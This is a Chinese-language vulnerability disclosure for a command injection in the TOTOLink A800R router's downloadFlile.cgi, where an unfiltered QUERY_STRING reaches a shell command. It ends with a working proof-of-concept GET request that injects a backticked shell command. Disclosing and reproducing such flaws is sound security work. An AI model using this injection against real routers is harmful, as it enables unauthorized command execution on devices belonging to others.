TOTOLink A800R V4.1.2cu.5137_B20200730 存在命令注入漏洞

概述

类型：命令注入漏洞

供应商：TOTOLINK ( https://www.totolink.net/ )

产品：WiFi路由器，如A800R V4.1.2cu.5137_B20200730,V4.1.2cu.5032_B20200408,V4.1.2cu.5137_B20200730,V5.9c.4050_B20190425,V5.9c.681_B201804_13,V20197.245。

**固件下载地址：** https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/166/ids/36.html

描述

一、产品信息：

TOTOLink A800R路由器最新版仿真概述：

2.漏洞详情

TOTOLINK A800R V4.1.2cu.5137_B20200730 被发现在“Main”函数中包含命令注入漏洞。此漏洞允许攻击者通过 QUERY_STRING 参数执行任意命令。

我们可以看到操作系统会在QUERY_STRING 没有过滤器的情况下拼接到字符串echo QUERY_STRING:%s >/tmp/download并执行它。所以，如果我们可以控制QUERY_STRING，它可以是命令注入。

3. 反复出现的漏洞和 POC

为了重现漏洞，可以遵循以下步骤：

通过qemu-system或其他方式启动固件（真机）

使用以下 POC 攻击进行攻击

GET /cgi-bin/downloadFlile.cgi?payload=`ls>../1.txt` HTTP/1.1 Host: 192.168.111.12 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0